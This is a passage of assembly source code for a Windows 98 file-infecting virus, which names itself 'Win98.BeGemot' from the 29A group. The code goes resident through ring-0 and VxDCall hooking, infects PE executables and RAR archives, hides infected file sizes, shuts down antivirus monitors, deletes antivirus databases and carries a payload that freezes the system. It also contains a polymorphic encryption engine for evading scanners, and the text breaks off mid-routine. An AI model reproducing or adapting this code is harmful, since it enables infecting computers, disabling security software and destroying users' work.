it raw ptr + mov edi, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress] + add edi, ebx ;get virtual address of ET + mov esi, [edi.ED_AddressOfFunctions] ;get start address of exported + add esi, ebx ;functions + + xor edx, edx ;EDX=0 +l_addr: cmp edx, [edi.ED_NumberOfFunctions] ;end of functions addresses? + jnb end_host ;yeah, jump to host + push 7 + pop ecx ;ECX=7 +l_func: inc edx ;EDX++ + lodsd ;load dword + cmp eax, [esi] ;addresses equal? + jne l_addr ;no, next function + loop l_func ;yeah, next check + add eax, ebx ;make it raw ptr + mov [ebp + VxDCall0 - gdelta], eax ;and save address of VxDCall0 + xchg eax, esi ;EAX <=> ESI + + xor eax, eax ;residency check + mov ah, 2ah ;get system time + mov edi, '!BG!' ;our sign + call int21h ;call int21h dispatcher + cmp esi, 1982 ;already resident? + je end_host ;yeah, jump to host + + push PC_WRITEABLE or PC_USER ;now we will reserve memory + push mem_size ;for our virus body in shared + push PR_SHARED ;area of virtual memory, so it + push 00010000h ;will be visible for all + call [ebp + VxDCall0 - gdelta] ;processes + inc eax ;error ? + je end_host ;yeah, jump to host + dec eax ;no, continue + mov ebx, eax ;save address to EBX register + cmp eax, 80000000h ;is it in shared area ? + jb pg_free ;no, free pages and quit + mov [ebp + mem_addr - gdelta], eax ;save address + + push PC_WRITEABLE or PC_USER or PC_PRESENT or PC_FIXED + push 0 ;now we will commit + push PD_ZEROINIT ;physical space for our + push mem_size ;reserved pages. + shr eax, 0ch + push eax + push 00010001h + call [ebp + VxDCall0 - gdelta] + xchg eax, ecx ;error ? + jecxz pg_free ;yeah, free pages and quit + + push ebx ;save address + sub ebx, compressed-VxDCall_addr-(decompressed-Start) + mov [ebp + jump_loc - gdelta], ebx ;store handler location + + mov ecx, 100h ;now we will search for +vxdloop:lodsb ;call instruction + cmp al, 2eh ;is it "CS:" selector override? + jne vxdnext ;no, next byte + cmp word ptr [esi], 1dffh ;and is it our instruction? + je got_ptr ;yeah, we got ptr to memory +vxdnext:loop vxdloop ;no, next try + + pop ebx ;EBX=address our pages +pg_free:push 0 ;shit, address not found, + push ebx ;we have to free pages + push 0001000ah ;and jump to host + call [ebp + VxDCall0 - gdelta] ;free pages call + jmp end_host ;((( + +got_ptr:mov edi, [esp] ;get address of our pages + pushad ;save all registers + lea esi, [ebp + compressed-gdelta-(decompressed-Start)] + mov ecx, (virtual_end-Start+3)/4 ;copy virus to shared memory + rep movsd ;... + popad ;restore all registers + + cli ;exclusive execution + inc esi ;skip instruction + inc esi + lodsd ;load address from instruction + push eax ;store it + xchg eax, esi ;ESI=address + mov edi, ebx ;EDI=original address of address + push 6 + pop ecx ;ECX=6 + rep movsb ;save original 48bit address + pop edi ;restore address + pop eax ;get ptr to shared memory + sub eax, compressed-VxDCall_hook-(decompressed-Start) + stosd ;store address of our handler + mov eax, cs ;+selector + stosw ;store selector + sti ;nonexclusive execution... + +end_host: + in al, 40h ;is it rite time to activate + cmp al, 22 ;our payload? + je do_payload ;yeah + + lea esi, [ebp + ShItTyMoNs - gdelta] ;no, but lets kill some + xor edi, edi ;AV monitors + push 2 + pop ecx ;2 monitors +KiLlMoNs: + push ecx + push esi + push edi + call [ebp + FndWndA - gdelta] ;find window + test eax, eax ;found? + je next_mon ;no, try to kill other monitor + push edi ;now we will send message + push edi ;to AV window to kill itself + push 12h ;veeeeeeery stupid X-DD + push eax + call [ebp + PstMsgA - gdelta] ;bye bye, hahaha +next_mon: + add esi, 0ch ;next monitor string + pop ecx + loop KiLlMoNs ;kill another one + +quit_payload: + @SEH_RemoveFrame ;remove SEH frame + popad ;restore all regs + push cs ;now we will use FAR return + db 0a1h ;trick to fool some stupid + dd 400002h.MZ_res2 ;heuristic scanners. Heh, who + sub eax, -400000h ;could expect someone will + push eax ;FAR return in flat model, heh + retf ;jump to host + +do_payload: ;time for our payload + push 1000h ;system modal window + call szTitle ;title of window +sztt db "Virus Win98.BeGemot by Benny/29A", 0 + +ShItTyMoNs: + db 'AVP Monitor', 0 + db 'Amon Antivirus Monitor', 0 + +szTitle:call szText ;text of window +sztx db 'Wait a minute,',0dh,0dh + db 'Micro$h!t is everywhere u want to be...',0dh + db 'Please call Micro$h!t on-line help, if u have any problems.',0dh + db 'Don''t u have a telephone? So call your system supervisor.',0dh + db 'R u supervisor? So call Micro$h!t on-line help...',0dh + db 'Ehrm, well... where do u want to go y3st3rday?',0dh,0dh + db 'PS: Your problem ain''t virus. Micro$h!t didn''t certified', 0dh + db 'this hardware, buy a new one...',0dh + db 'Press OK button to solve this problem by Micro$h!t...',0 +MsgBxA dd 0bff5412eh +FndWndA dd 0bff5590ch +PstMsgA dd 0bff556fch + +szText: push 0 ;HWnd=0 + call [ebp + MsgBxA - gdelta] ;display message box + cli ;fuck all preemptives +FuckThemAll: + jmp FuckThemAll ;infinite loop. System wont + ;switch to another process ;) +write_something: ;WriteToFile procedure + mov ah, 40h ;Write to file service + jmp int21h ;call int21h + +read_something: ;ReadFromFile procedure + lea edx, [ebp + header - mgdelta] ;to header variable +r_something: ;ReadFromFile procedure2 + mov ah, 3fh ;service number +int21h: push ecx ;push parameters + push eax + push 002a0010h ;service number to VMM +ipatch: jmp int21 ;call int21h + +rint21: call [ebp + VxDCall0 - mgdelta] ;resident version of int21h + ret +int21: call [ebp + VxDCall0 - gdelta] ;runtime version of int21h + ret + +;AV filez born to be deleted +ShItTyFiLeZ: db 'DRWEBASE.VDB', 0 ;ByE-kAsPeRsKy + db 'NOD32.000', 0 ;ByE-tRnKa + db 'AVG.AVI', 0 ;ByE-oDeHnAl + db 'ANTI-VIR.DAT', 0 ;ByE-tBaV + db 'AVP.CRC', 0 ;ByE-aVp + +RARHeader: ;No comment ;) +RARHeaderCRC dw 0 +RARType db 74h +RARFlags dw 8000h +RARHSize dw end_RAR-RARHeader +RARCompressed dd 3000h +RAROriginal dd 3000h +RAROS db 0 +RARCRC32 dd 0 +RARFileDateTime dd 12345678h +RARNeedVer db 14h +RARMethod db 30h +RARFNameSize dw end_RAR-RARName +RARAttrib dd 0 +RARName db 'BEER.EXE' +end_RAR: + +last_test: + cmp ah, 2ah ;Get system time? + jne exit_infection ;no, back to original handler + cmp edi, '!BG!' ;our sign? + jne exit_infection ;no, back to orig. handler + popad ;restore all registers + mov esi, 1982 ;mark this + jmp farjmp ;and quit + +VxDCall_hook proc ;VXDCall hooker starts here + pushad ;save all regs + call mgdelta ;get delta offset +mgdelta:pop ebp + xor ecx, ecx ;ECX=0 + mov cl, 1 ;CL=semaphore +semaphore = byte ptr $ - 1 + jecxz quit_hook ;we wont trace our calls + + cmp eax, 002a0010h ;int21h dispatch service? + jne quit_hook ;no, quit + + mov eax, [esp+2ch] ;get service number + + cmp ah, 3dh ;Open file ? + je infect + cmp ah, 43h ;Get/Set attributes + je infect + cmp ax, 6c00h ;Extended Create/Open + je infct2 + cmp ah, 71h ;any LFN service ? + jne last_test + cmp al, 43h ;Extended Get/Set attributes ? + je infect + cmp al, 4eh ;LFN find first file + je stealth + cmp al, 4fh ;LFN find next file + je stealth + cmp al, 56h ;LFN rename file + je infect + cmp al, 6ch ;LFN extended open + je infct2 + cmp al, 0a8h ;LFN short name + je infct2 + +exit_infection: + mov byte ptr [ebp + semaphore - mgdelta], 1 ;set semaphore + mov byte ptr [ebp + v_state - mgdelta], BG_IDLE ;set virus state +quit_hook: + popad ;restore all regs +farjmp: jmp fword ptr cs:[12345678h] ;and jump to +jump_loc = dword ptr $ - 4 ;previous handler + +s_int21h: ;int21h for stealth + push ecx ;function + push eax + push 002a0010h + call [ebp + VxDCall0 - sgdelta] + ret + +stealth: ;stealthin function starts here + mov byte ptr [ebp + v_state - mgdelta], BG_STEALTHIN ;set virus state + + push dword ptr [esp+28h] ;now we will call property + pop dword ptr [ebp + s_ret - mgdelta] ;function and get result + lea eax, [ebp + api_ret - mgdelta] + mov [esp+28h], eax ;set return address + + mov [ebp + find_data - mgdelta], edi ;save ptr to WIN32FINDDATA + jmp quit_hook ;and call prev. handler + +api_ret:jc b2caller ;return and get results + pushad ;get delta offset + call sgdelta +sgdelta:pop ebp + + mov edi, 12345678h ;get WIN32FINDDATA +find_data = dword ptr $ - 4 + + lea esi, [edi.WFD_szFileName] + push esi + call c_name ;check filename + pop esi + jc quit_stealth ;error, quit stealth + + mov byte ptr [ebp + semaphore - sgdelta], 0 ;set semaphore + mov eax, 716ch ;Extended Open/Create file + xor ebx, ebx ;flags + xor ecx, ecx ;attributes + cdq ;action + inc edx ;... + call s_int21h ;call it + jc quit_stealth ;error? + xchg eax, ebx + + mov ah, 3fh ;read DOS MZ header + push IMAGE_SIZEOF_DOS_HEADER + pop ecx + lea edx, [ebp + header - sgdelta] + call s_int21h ;... + jc s_close + + cmp word ptr [ebp + header.MZ_res2 - sgdelta], 29ah ;is it infected + jne s_close ;no, quit + add dword ptr [edi.WFD_nFileSizeLow], -2000h ;yeah, return original + ;size + +s_close:mov ah, 3eh ;close file + call s_int21h +quit_stealth: + mov byte ptr [ebp + semaphore - sgdelta], 1 ;set semaphore + popad ;restore all regs + clc ;clear carry +b2caller: + push 12345678h ;and jump back +s_ret = dword ptr $ - 4 ;to host program + ret ;... + +EnterRing0: ;Ring0 port + pop eax ;get address + pushad ;save all registers + pushad ;and again + sidt fword ptr [esp-2] ;load 6byte long IDT address + popad ;restore registers + sub edi, -(8*3) ;move to int3 + push dword ptr [edi] ;save original IDT + stosw ;modify IDT + inc edi ;move by 2 + inc edi ;... + push dword ptr [edi] ;save original IDT + push edi ;save pointer + mov ah, 0eeh ;IDT FLAGs + stosd ;save it + mov ebx, cs ;fill registers with + mov ecx, ds ;selectors for l8r use + mov esi, es ;... + mov edi, ss ;... + push ds ;save some selectors + push es ;... + int 3 ;JuMpToRiNg0! + pop es ;restore selectors + pop ds ;... + pop edi ;restore ptr + add edi, -4 ;move with ptr + pop dword ptr [edi+4] ;and restore IDT + pop dword ptr [edi] ;... +p_jmp: inc eax ;some silly loop to fool + cdq ;some AVs. Will be overwritten + jmp p_jmp ;with NOPs l8r by new thread + popad ;restore all regs + jmp LeaveRing0 ;and leave procedure + +Thread Proc ;thread procedure start here + call tgdelta ;get delta offset +tgdelta:pop ebp + mov [ebp + p_jmp - tgdelta], 90909090h ;overwrite silly loop by NOPs + + push PC_WRITEABLE or PC_USER ;reserve one page + push 1 ;in shared memory + push PR_SHARED ;for BGCB + push 00010000h ;... + call [ebp + VxDCall0 - tgdelta] ;... + inc eax + je t_sleep ;error? + dec eax + cmp eax, 80000000h ;is it in shared memory ? + jb free_pg + mov ebx, eax ;save address + + push PC_WRITEABLE or PC_USER or PC_PRESENT or PC_FIXED + push 0 ;and now we will commit + push PD_ZEROINIT ;physical space in memory + push 1 ;... + shr eax, 0ch ;... + push eax ;... + push 00010001h ;... + call [ebp + VxDCall0 - tgdelta] ;... + test eax, eax ;if error, free pages + je free_pg ;and quit + +;some equates for BGCB + +BGCB_Signature equ 00 ;BGCB signature ('BGCB') +BGCB_New equ 04 ;new request (1-new, 0 not) +BGCB_ID equ 08 ;ID of request +BGCB_Data equ 12 ;property data + + ;EAX=1, ECX=0 + mov [ebx.BGCB_Signature], 'BCGB' ;set signature +t_rep: call t_sleep ;sleep for some ms + cli ;exclusive execution + cmp [ebx.BGCB_New], ecx ;anything new? + je t_end ;no + mov [ebx.BGCB_New], ecx ;yeah, nulify item + mov edx, [ebx.BGCB_ID] ;and check ID + test edx, edx ;0? + je p_test ;virus presency check + dec edx ;1? + je i_test ;virus state checkin' + dec edx ;2? + je d_test ;disable virus actions + dec edx ;3? + je e_test ;enable virus actions + dec edx ;4? + je g_test ;get sleep time + dec edx ;5? + je si_test ;increase sleep time + dec edx ;6? + je sd_test ;decrease sleep time + dec edx ;7? + je k_test ;system halt + dec edx ;8? + je ds_test ;disconnect +t_end: sti ;allow INTs + jmp t_rep ;and sleep + +p_test: mov [ebx.BGCB_Data], eax ;set BGCB data to 1 + jmp t_end + +i_test: mov byte ptr [ebx.BGCB_Data], 0 ;set BGCB data to v_state +v_state = byte ptr $ - 1 + jmp t_end + +d_test: mov word ptr [ebp + VxDCall_hook - tgdelta], 0ebh+((farjmp-VxDCall_hook-2)shl 8) + jmp t_end ;construct JMP to end + +e_test: mov word ptr [ebp + VxDCall_hook - tgdelta], 0e860h + jmp t_end ;reconstruct original bytes + +g_test: mov edx, [ebp + sleep_t - tgdelta] ;get sleep time + mov [ebx.BGCB_Data], edx ;store it in BGCB data + jmp t_end + +si_test:mov edx, [ebx.BGCB_Data] ;get increment + add [ebp + sleep_t - tgdelta], edx ;add it to sleep time + jmp t_end + +sd_test:mov edx, [ebx.BGCB_Data] ;get decrement + sub [ebp + sleep_t - tgdelta], edx ;substract sleep time with it + jmp t_end + +k_test: cli ;halt system +_hlt_: jmp _hlt_ + +ds_test:sti ;allow INTs + push 0 ;decommit page + push 1 + push ebx + push 00010002h + call [ebp + VxDCall0 - tgdelta] +free_pg:push 0 ;free page + push ebx + push 0001000ah + call [ebp + VxDCall0 - tgdelta] + + push -1 ;sleep thread for ever +sleep: push 002a0009h ;service Sleep + call [ebp + VxDCall0 - tgdelta] ;call it + popad ;restore all regs + ret ;return +t_sleep:pushad ;save all regs + push 1000 ;one second long sleep time +sleep_t = dword ptr $ - 4 + jmp sleep ;sleep +Thread EndP ;thread ends here + + +infect: mov esi, edx ;ESI=EDI +infct2: mov byte ptr [ebp + semaphore - mgdelta], 0 ;set semaphore + mov word ptr [ebp + ipatch - mgdelta], 9090h ;patch int21h + xor ecx, ecx ;ECX=0 + mov cl, 1 ;CL=r0_patch +r0_patch = byte ptr $ - 1 ;ring0 procedure is called + jecxz LeaveRing0 ;only once + + call EnterRing0 ;EnTeRrInG0 + push 0 ;Now we will create new + lea edx, [ebp + callback - mgdelta] ;VMM thread + push edx ;callback function + push 'tA92' ;thread type + push esi ;ES + push ecx ;DS + lea edx, [ebp + Thread - mgdelta] ;EIP + push edx ;... + push ebx ;CS + lea edx, [ebp + threadstack - mgdelta] ;ESP + push edx ;... + push edi ;SS + int 20h ;VMMCall + dd 00010105h ;VMMCreateThread + sub esp, -24h ;correct stack + mov byte ptr [ebp + r0_patch - mgdelta], 0 ;patch + iretd ;return from INT + +LeaveRing0: + call check_name ;check filename +;MODIFY ON YOUR OWN RISC! + jc exit_infection ;error? +; jmp exit_infection + mov [ebp + tmpext - mgdelta], eax ;save extension + + mov eax, 7143h ;LFN retrieve + xor ebx, ebx ;attributes + call int21h + jc exit_infection + mov [ebp + file_attr - mgdelta], ecx ;save them + + mov eax, 7143h ;LFN set attributes + inc ebx + xor ecx, ecx + call int21h ;set them + jc exit_infection + + mov eax, 7143h ;LFN retrieve time/date + inc ebx + inc ebx + inc ebx + call int21h + jc exit_infection + mov [ebp + file_time - mgdelta], ecx ;save it + mov [ebp + file_date - mgdelta], edi + + mov eax, 716ch ;LFN extended Create/ + mov esi, edx ;/Open file + dec ebx + dec ebx + xor ecx, ecx ;ECX=0 + cdq ;EDX=0 + inc edx ;EDX=1 + call int21h ;open file for R/W + jc exit_infection + xchg ebx, eax + + mov eax, 12345678 ;get extension +tmpext = dword ptr $ - 4 + cmp ah, 'R' ;is it ".RAR" ? + je try_RAR ;yeah, infect RAR + +;Now we will test for Pentium+ processor + pushad ;save all regs + pushfd ;save EFLAGS + pop eax ;get them + mov ecx, eax ;save them + or eax, 200000h ;flip ID bit in EFLAGS + push eax ;store + popfd ;flags + pushfd ;get them back + pop eax ;... + xor eax, ecx ;same? + je end_cc ;shit, we r on 486- + xor eax, eax ;EAX=0 + inc eax ;EAX=1 + cpuid ;CPUID + and eax, 111100000000b ;mask processor family + cmp ah, 4 ;is it 486? + je end_cc ;baaaaaaad + popad ;no, Pentium installed + + mov byte ptr [ebp + v_state - mgdelta], BG_INFECTINEXEC ;set state + push IMAGE_SIZEOF_DOS_HEADER ;MZ header + pop ecx + call read_something ;read it + jc close_file + + cmp word ptr [ebp + header - mgdelta], IMAGE_DOS_SIGNATURE + jne close_file ;is it really MZ header? + cmp word ptr [ebp + header.MZ_res2 - mgdelta], 29ah +bg_sig = word ptr $ - 2 ;already infected? + je close_file + + call seek_eof ;get file size + jc close_file + mov [ebp + fsize - mgdelta], eax ;save it + + cmp eax, 1000h ;is it smaller than + jb close_file ;4096 bytes? + mov edx, 400000h + cmp edx, eax ;too large? + jb close_file + + mov edx, [ebp + header.MZ_lfanew - mgdelta] ;get ptr to PE header + mov [ebp + MZlfanew - mgdelta], edx ;save it + xchg eax, edx + cmp eax, edx ;points inside file? + jnb close_file ;no, invalid ptr + + call seek_here ;seek to MZ_lfanew + mov ecx, 4+IMAGE_SIZEOF_FILE_HEADER+IMAGE_SIZEOF_NT_OPTIONAL_HEADER + call read_something ;read whole PE header + jc close_file + + cmp dword ptr [ebp + header - mgdelta], IMAGE_NT_SIGNATURE + jne close_file ;is it PE\0\0? + + cmp word ptr [ebp + header.NT_FileHeader.FH_Machine - mgdelta], \ + IMAGE_FILE_MACHINE_I386 ;must i386 compatible + jne close_file + + mov eax, [ebp + header.NT_FileHeader.FH_Characteristics - mgdelta] + not al + test ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_DLL + jne close_file ;must be EXEC, mustnt be DLL + + cmp [ebp + header.NT_OptionalHeader.OH_ImageBase - mgdelta], 400000h + jne close_file ;must be 400000h + + movzx esi, word ptr [ebp + header.NT_FileHeader.FH_SizeOfOptionalHeader - mgdelta] + movzx edx, word ptr [ebp + header.NT_FileHeader.FH_NumberOfSections - mgdelta] + dec edx + imul edx, IMAGE_SIZEOF_SECTION_HEADER ;ptr to last section + mov eax, 12345678h +MZlfanew = dword ptr $ - 4 + sub eax, -IMAGE_SIZEOF_FILE_HEADER-4 + add eax, esi + add eax, edx + mov [ebp + sh_pos - mgdelta], eax + call seek_here ;seek to last section header + + push IMAGE_SIZEOF_SECTION_HEADER + pop ecx + lea edx, [ebp + section_header - mgdelta] + call r_something ;read last section header + jc close_file + + mov eax, virtual_end-Start ;size of file in memory + mov esi, [ebp + section_header.SH_SizeOfRawData - mgdelta] + lea edx, [ebp + section_header.SH_VirtualSize - mgdelta] + add [edx], eax ;new VirtualSize, set WRITE bit + or byte ptr [ebp + section_header.SH_Characteristics.hiw.hib - mgdelta], 0c0h + add eax, [edx] ;now we will align some items + mov ecx, [ebp + header.NT_OptionalHeader.OH_FileAlignment - mgdelta] + cdq ;in PE header + div ecx + inc eax + mul ecx + add [ebp + section_header.SH_SizeOfRawData - mgdelta], eax + sub eax, esi ;new SizeOfRawData + mov [ebp + header.NT_OptionalHeader.OH_SizeOfImage - mgdelta], eax + ;new SizeOfImage + mov eax, 12345678h ;ptr to last section header +sh_pos = dword ptr $ - 4 + call seek_here ;seek there + + push IMAGE_SIZEOF_SECTION_HEADER ;write modified section + pop ecx ;header + lea edx, [ebp + section_header - mgdelta] + call write_something ;... + + call seek_here ;seek to MZ_res2 + push 2 ;and write there + pop ecx ;already infected + lea edx, [ebp + bg_sig - mgdelta] ;mark + call write_something ;... + push 4 ;write there original + pop ecx ;entrypoint also + lea edx, [ebp + header.NT_OptionalHeader.OH_AddressOfEntryPoint - mgdelta] + call write_something ;... + + mov eax, [ebp + MZlfanew - mgdelta] ;seek to PE header + call seek_here + + mov eax, 12345678h ;get file size +fsize = dword ptr $ - 4 + add eax, [ebp + section_header.SH_VirtualAddress - mgdelta] + sub eax, [ebp + section_header.SH_PointerToRawData - mgdelta] + mov [ebp + header.NT_OptionalHeader.OH_AddressOfEntryPoint - mgdelta], eax + ;modify Entrypoint + push IMAGE_SIZEOF_FILE_HEADER+4+5eh + pop ecx + lea edx, [ebp + header - mgdelta] + call write_something ;write modified PE header + + call seek_eof ;seek to end of file + lea edi, [ebp + crypted_virus - mgdelta] ;address of encrypted virus + xor ecx, ecx ;ECX=0 + mov cl, 1 ;CL=f_poly +f_poly = byte ptr $ - 1 ;poly-engine ran once ? + jecxz end_poly ;yeah, copy virus only + + mov esi, 12345678h ;get start of virus in memory +mem_addr = dword ptr $ - 4 + mov ecx, 6c0h ;aproximated size of virus + call BPE32 + mov byte ptr [ebp + f_poly - mgdelta], 0 ;set poly semaphore + mov byte ptr [ebp + do_RAR - mgdelta], 1 ;enable RAR infection +end_poly: + mov ecx, 2000h ;8192 bytes + mov edx, edi ;where? + call write_something ;write 8192 bytes of virus + jmp close_file ;to file and quit + +end_cc: popad ;restore all registers +close_file: + mov ah, 3eh ;close file + call int21h ;... + + mov eax, 7143h ;LFN set file time/date + push 3 + pop ebx + lea edx, [ebp + targetname - mgdelta] + mov ecx, 12345678h ;original time +file_time = dword ptr $ - 4 + mov edi, 12345678h ;original date +file_date = dword ptr $ - 4 + call int21h ;set it back + + mov eax, 7143h ;LFN set file attributes + dec ebx + dec ebx + mov ecx, 12345678h ;original file attributes +file_attr = dword ptr $ - 4 + call int21h ;set it back + +;now we will delete some AV databases + lea esi, [ebp + ShItTyFiLeZ - mgdelta] ;start of file names + push 5 ;number of them + pop ecx +DeLiT: push ecx ;save count + mov edx, esi + mov eax, 4301h ;set file attributes + xor ecx, ecx ;blank them + call int21h ;... + mov ah, 41h ;and delete file + call int21h ;... + pop ecx ;restore count +end_sz: lodsb ;get + test al, al ;end of + jne end_sz ;string + loop DeLiT ;delete files in a loop + jmp exit_infection ;and exit + +try_RAR: + mov byte ptr [ebp + v_state - mgdelta], BG_INFECTINRAR ;set v_state + xor ecx, ecx ;ECX=0 + mov cl, 0 ;CL=do_RAR +do_RAR = byte ptr $ - 1 ;before infectin RAR we must + jecxz close_file ;infect at least one EXE + ;to initialize poly +;now we will check, if last file in RAR has our name. If has, RAR is already +;infected and we wont infect it again. + call seek_eof ;go to the end of file + jc close_file + add eax, -3000h-8 ;go to the EOF-3000h-8 + call seek_here ;... + jc close_file + lea edx, [ebp + tmpname - mgdelta] ;read 8 bytes from that + push 8 ;location to temporary buffer + pop ecx ;... + call r_something ;... + jc close_file + push 2 ;compare 8 bytes of filename + pop ecx + mov esi, edx + lea edi, [ebp + RARName - mgdelta] +n_cmp2: cmpsd + jne inf_RAR ;not match, we can infect it + loop n_cmp2 + jmp close_file ;RAR already infected, quit + +inf_RAR:call seek_eof ;got to the end of file + lea esi, [ebp + d1start - mgdelta] ;get start of dropper part 1 + lea edi, [ebp + virus_in_arc - mgdelta] ;destination + push edi ;save it for l8r use + mov ecx, d1size ;how many bytes + rep movsb ;copy dropper part 1 + lea esi, [ebp + crypted_virus - mgdelta] ;get start of encrypted virus + mov ecx, 2000h ;8192 bytes + rep movsb ;copy virus + lea esi, [ebp + d2start - mgdelta] ;get start of dropper part 2 + mov ecx, d2size ;how many bytes + rep movsb ;copy dropper part 2 + pop esi ;get address of dropper + mov edi, 3000h ;size of dropper + call CRC32 ;calculate CRC32 + mov [ebp + RARCRC32 - mgdelta], eax ;save it + + lea esi, [ebp + RARHeaderCRC + 2 - mgdelta] ;start of RAR header + mov edi, end_RAR-RARHeader-2 ;size + call CRC32 ;calculate CRC32 of header + mov [ebp + RARHeaderCRC - mgdelta], ax ;save it + + mov ecx, end_RAR-RARHeader ;size of RAR header + lea edx, [ebp + RARHeader - mgdelta] ;start of RAR header + call write_something ;write RAR header to file + + mov ecx, 3000h ;dropper size + lea edx, [ebp + virus_in_arc - mgdelta] ;start of dropper + call write_something ;write dropper to file + jmp close_file ;and close file + + +c_name: push edi ;save EDI + lea edi, [ebp + targetname - sgdelta] ;address of filename + jmp cname +check_name: + push edi ;save EDI + lea edi, [ebp + targetname - mgdelta] ;address of filename +cname: mov edx, edi ;... + mov ecx, MAX_PATH ;size of filename + cld +n_loop: lodsb ;load byte + cmp al, 'a' ;is it BIG letter? + jb nlower ;yeah + cmp al, 'z' ;is it letter? + ja nlower ;no + add al, 'A'-'a' ;upper letter +nlower: stosb ;save letter + test al, al ;is it end? + je e_name ;yeah + cmp al, '\' ;is it backslash + jne nloop ;no +nloop: loop n_loop ;upper letters in loop +i_name: pop edi ;restore EDI + stc ;set error flag + ret ;and return +e_name: mov eax, [edi-5] ;get extension + cmp eax, 'EXE.' ;is it .EXE + je n_name + cmp eax, 'RCS.' ;is it .SCR + je n_name + cmp eax, 'RAR.' ;is it .RAR + je n_name + cmp eax, 'XFS.' ;is it .SFX + je n_name + cmp eax, 'LPC.' ;is it .CPL + je n_name + cmp eax, 'KAB.' ;is it .BAK + je n_name + cmp eax, 'TAD.' ;is it .DAT + jne i_name +n_name: pop edi ;restore EDI +callback: + clc ;clear error flag + ret ;and return + +seek_here: ;seek to EAX + mov ecx, eax ;ECX=EAX + shr ecx, 16 ;CX=MSW of EAX + movzx edx, ax ;DX=LSW of EAX + xor eax, eax ;EAX=0 + jmp seek ;seek +seek_eof: + mov al, 02h ;AL=2h + cdq ;EDX=0 + xor ecx, ecx ;ECX=0 +seek: mov ah, 42h ;AH=42h + call int21h ;seek + jc q_seek ;error? + movzx eax, ax ;EAX=LSW of EAX + shl edx, 16 + or eax, edx ;EAX=LSW of EAX & MSW of EDX + cdq ;EDX=0 + clc ;clear error flag +q_seek: ret ;return + +CRC32: push ebx ;I found this code in Int13h's + xor ecx, ecx ;tutorial about infectin' + dec ecx ;archives. Int13h found this + mov edx, ecx ;code in Vecna's Inca virus. +NextByteCRC: ;So, thank ya guys... + xor eax, eax ;Ehrm, this is very fast + xor ebx, ebx ;procedure to code CRC32 at + lodsb ;runtime, no need to use big + xor al, cl ;tables. + mov cl, ch + mov ch, dl + mov dl, dh + mov dh, 8 +NextBitCRC: + shr bx, 1 + rcr ax, 1 + jnc NoCRC + xor ax, 08320h + xor bx, 0edb8h +NoCRC: dec dh + jnz NextBitCRC + xor ecx, eax + xor edx, ebx + dec edi + jne NextByteCRC + not edx + not ecx + pop ebx + mov eax, edx + rol eax, 16 + mov ax, cx + ret + +;BPE32 (Benny's Polymorphic Engine for Win32) starts here. U can find first +;version of BPE32 in DDT#1 e-zine. But unfortunately, how it usualy goes, +;there were TWO, REALLY SILLY/TINY bugs. I found them and corrected them. So, +;if u wanna use BPE32 in your code, use this version, not that version from +;DDT#1. Very BIG sorry to everyone, who had/has/will have problems with it. + +BPE32 Proc + pushad ;save all regs + push edi ;save these regs for l8r use + push ecx ; ... + mov edx, edi ; ... + push esi ;preserve this reg + call rjunk ;generate random junk instructions + pop esi ;restore it + mov al, 0e8h ;create CALL instruction + stosb ; ... + mov eax, ecx ; ... + imul eax, 4 ; ... + stosd ; ... + + mov eax, edx ;calculate size of CALL+junx + sub edx, edi ; ... + neg edx ; ... + add edx, eax ; ... + push edx ;save it + + push 0 ;get random number + call random ; ... + xchg edx, eax + mov [ebp + xor_key - mgdelta], edx ;use it as xor constant + push 0 ;get random number + call random ; ... + xchg ebx, eax + mov [ebp + key_inc - mgdelta], ebx ;use it as key increment constant +x_loop: lodsd ;load DWORD + xor eax, edx ;encrypt it + stosd ;store encrypted DWORD + add edx, ebx ;increment key + loop x_loop ;next DWORD + + call rjunk ;generate junx + + mov eax, 0006e860h ;generate SEH handler + stosd ; ... + mov eax, 648b0000h ; ... + stosd ; ... + mov eax, 0ceb0824h ; ... + stosd ; ... + +greg0: call get_reg ;get random register + cmp al, 5 ;MUST NOT be EBP register + je greg0 + mov bl, al ;store register + mov dl, 11 ;proc parameter (do not generate MOV) + call make_xor ;create XOR or SUB instruction + inc edx ;destroy parameter + mov al, 64h ;generate FS: + stosb ;store it + mov eax, 896430ffh ;next SEH instructions + or ah, bl ;change register + stosd ;store them + mov al, 20h ; ... + add al, bl ; ... + stosb ; ... + + push 2 ;get random number + call random + test eax, eax + je _byte_ + mov al, 0feh ;generate INC DWORD PTR + jmp _dw_ +_byte_: mov al, 0ffh ;generate INC BYTE PTR +_dw_: stosb ;store it + mov al, bl ;store register + stosb ; ... + mov al, 0ebh ;generate JUMP SHORT + stosb ; ... + mov al, -24d ;generate jump to start of code (trick + stosb ;for better emulators, e.g. NODICE32) + + call rjunk ;generate junx +greg1: call get_reg ;generate random register + cmp al, 5 ;MUST NOT be EBP + je greg1 + mov bl, al ;store it + + call make_xor ;generate XOR,SUB reg, reg or MOV reg, 0 + + mov al, 64h ;next SEH instructions + stosb ; ... + mov al, 8fh ; ... + stosb ; ... + mov al, bl ; ... + stosb ; ... + mov al, 58h ; ... + add al, bl ; ... + stosb ; ... + + mov al, 0e8h ;generate CALL + stosb ; ... + xor eax, eax ; ... + stosd ; ... + push edi ;store for l8r use + call rjunk ;call junk generator + + call get_reg ;random register + mov bl, al ;store it + push 1 ;random number (0-1) + call random ; ... + test eax, eax + jne next_delta + + mov al, 8bh ;generate MOV reg, [ESP]; POP EAX + stosb + mov al, 80h + or al, bl + rol al, 3 + stosb + mov al, 24h + stosb + mov al, 58h + jmp bdelta + +next_delta: + mov al, bl ;generate POP reg; SUB reg, ... + sub al, -58h +bdelta: stosb + mov al, 81h + stosb + mov al, 0e8h + add al, bl + stosb + pop eax + stosd + call rjunk ;random junx + + xor bh, bh ;parameter (first execution only) + call greg2 ;generate MOV sourcereg, ... + mov al, 3 ;generate ADD sourcereg, deltaoffset + stosb ; ... + mov al, 18h ; ... + or al, bh ; ... + rol al, 3 ; ... + or al, bl ; ... + stosb ; ... + mov esi, ebx ;store EBX + call greg2 ;generate MOV countreg, ... + mov cl, bh ;store count register + mov ebx, esi ;restore EBX + + call greg3 ;generate MOV keyreg, ... + push edi ;store this position for jump to decryptor + mov al, 31h ;generate XOR [sourcereg], keyreg + stosb ; ... + mov al, ch ; ... + rol al, 3 ; ... + or al, bh ; ... + stosb ; ... + + push 6 ;this stuff will choose ordinary of calls + call random ;to code generators + test eax, eax + je g5 ;GREG4 - key incremention + cmp al, 1 ;GREG5 - source incremention + je g1 ;GREG6 - count decremention + cmp al, 2 